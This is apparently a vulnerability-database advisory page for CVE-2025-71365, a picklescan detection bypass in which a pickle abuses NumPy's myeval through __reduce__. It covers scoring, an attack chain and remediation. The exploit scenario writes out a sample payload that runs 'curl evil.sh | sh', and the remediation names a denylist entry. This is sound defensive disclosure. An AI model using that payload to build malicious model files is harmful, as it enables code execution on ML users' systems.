Skip to main content

picklescan EUVDEUVD-2025-210306

| CVE-2025-71365 HIGH
Deserialization of Untrusted Data (CWE-502)
7.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft pickle with myeval in __reduce__
  2. Delivery
    Publish as model checkpoint on hub
  3. Exploit
    Victim runs picklescan < 0.0.33
  4. Install
    Scanner returns clean verdict
  5. C2
    Victim calls pickle.load/torch.load
  6. Execute
    myeval evaluates embedded string
  7. Impact
    Arbitrary code executes in victim process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to (1) be running picklescan at a version below 0.0.33, (2) use picklescan's verdict as a gate before calling pickle.load() / torch.load() on the attacker-supplied file, (3) actually open the malicious pickle (UI:P - user interaction), and (4) have NumPy installed so that numpy.f2py.crackfortran.myeval resolves at unpickle time. Limiting factors: organisations that do not use picklescan are unaffected (they have other pickle exposure but not this specific bypass), environments without NumPy will raise ImportError rather than execute the payload, and the attack delivers no impact unless the victim chooses to load the file after the clean scan.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N rates this 7.6 because exploitation is network-reachable and unauthenticated but requires the victim to actively load an attacker-supplied pickle (UI:P) and to be running a vulnerable picklescan version in a configuration where the scanner's verdict gates loading (AT:P). No EPSS, KEV, or SSVC data was supplied, so widespread automated exploitation cannot be confirmed; however, publicly available exploit code exists in the GHSA advisory and the payload is trivially reusable across any pickle-bearing artifact (PyTorch .bin/.pt files, joblib dumps, cached objects). The realistic risk is targeted supply-chain abuse of ML model repositories rather than mass internet scanning, but for organisations that built trust workflows around picklescan, the bypass directly defeats the security control they rely on.

Exploit ScenarioDerived

An attacker publishes a malicious PyTorch checkpoint to a model hub whose pickle payload's __reduce__ returns (numpy.f2py.crackfortran.myeval, ('os.system("curl evil.sh | sh")',)); a victim runs picklescan < 0.0.33 against the file, receives a clean verdict, and then calls torch.load() or pickle.load(), which invokes myeval and executes the embedded shell command under the victim's account. The PoC in the GHSA advisory demonstrates the exact reduce-method payload, so weaponization requires no novel research.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 23, 2026

Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files by abusing numpy.f2py.crackfortran.myeval in a __reduce__ method, which the scanner fails to flag as dangerous. Any ML pipeline or model-hosting workflow that trusts picklescan's verdict before calling pickle.load() will execute attacker-controlled commands; publicly available exploit code exists in the GHSA advisory, and the CVSS 4.0 score of 7.6 reflects high confidentiality and integrity impact contingent on user interaction.

RemediationAI

Vendor-released patch: picklescan 0.0.33 - upgrade via pip install --upgrade picklescan>=0.0.33, with the upstream fix in PR https://github.com/mmaitre314/picklescan/pull/53 and commit 70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab. Until the upgrade lands, add numpy.f2py.crackfortran.myeval (and ideally the entire numpy.f2py.crackfortran module) to any local denylist or custom Unpickler.find_class() override, and treat any model whose scan predates the fix as untrusted; the trade-off is false positives against legitimate NumPy Fortran workflows, which are uncommon outside scientific computing. As a stronger compensating control, switch to safetensors or another non-pickle serialization for model interchange - this eliminates the deserialization class entirely but requires re-exporting existing checkpoints. Consult the GHSA advisory at https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3329-ghmp-jmv5 for the authoritative fix details.

Affected VersionsENISA

picklescan 0 <0.0.33

Affected Packages

pypi picklescan fix: 0.0.33

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

picklescan is a Python security tool that statically inspects pickle byte streams for known-dangerous global imports and callables before deserialization, commonly used to gate PyTorch model loading. The vulnerability is a classic CWE-502 (Deserialization of Untrusted Data) blocklist gap: numpy.f2py.crackfortran.myeval - a helper inside NumPy's Fortran parser that calls Python's eval() on a supplied string - was not on picklescan's denylist of risky callables. When a pickle's __reduce__ returns (myeval, ('os.system(...)',)), the pickle machinery invokes myeval at load time, which evaluates the attacker-supplied string and yields arbitrary code execution under the victim process's identity.

Know when Picklescan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-delivered malicious pickle, no privileges, but victim must choose to load the file (UI:R); successful exploit yields full code execution, so C/I/A all High.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 23, 2026 - 14:17 EUVD

DescriptionCVE.org

picklescan before 0.0.33 fails to detect malicious pickle files that invoke numpy.f2py.crackfortran.myeval function through the reduce method. Attackers can craft malicious pickle files embedding arbitrary code that evades picklescan detection and executes remote code when loaded.

Executive ViewAI

Why It Matters

picklescan, a Python library deployed to validate pickle files before deserialization, contains a detection bypass allowing attackers to inject and execute arbitrary code through specially crafted pickle files; publicly available exploit code exists. Organizations relying on picklescan as a security boundary-particularly ML teams and model-hosting services-face immediate code execution risk because the tool fails to flag dangerous patterns, creating a false sense of security.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Eliminate untrusted pickle deserialization where possible; (2) Restrict pickle file sources to allowlisted internal systems only; (3) Network-isolate systems handling pickle files; (4) Implement process execution monitoring and anomaly detection; (5) Transition to safer serialization formats (JSON, MessagePack, Protocol Buffers).

Threat Intelligence Overview

EPSS Score
0.3%
Top 78% exploitable
Prevalence
Low
niche ML-security utility used by pickle-scanning workflows, not broadly deployed
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-3490 CRITICAL POC
10.0 Jun 17

Remote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio

CVE-2025-10156 CRITICAL POC
9.3 Sep 17

An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles

CVE-2025-10157 CRITICAL POC
9.3 Sep 17

A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot

CVE-2025-10155 CRITICAL POC
9.3 Sep 17

An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0

CVE-2025-71341 HIGH POC
7.6 Jun 23

Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle

CVE-2025-71351 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle

CVE-2025-71370 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr

CVE-2025-71348 HIGH POC
7.6 Jun 21

Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing

CVE-2025-71361 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i

CVE-2025-71378 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using

CVE-2025-71376 HIGH POC
7.6 Jun 23

Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th

CVE-2025-71354 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy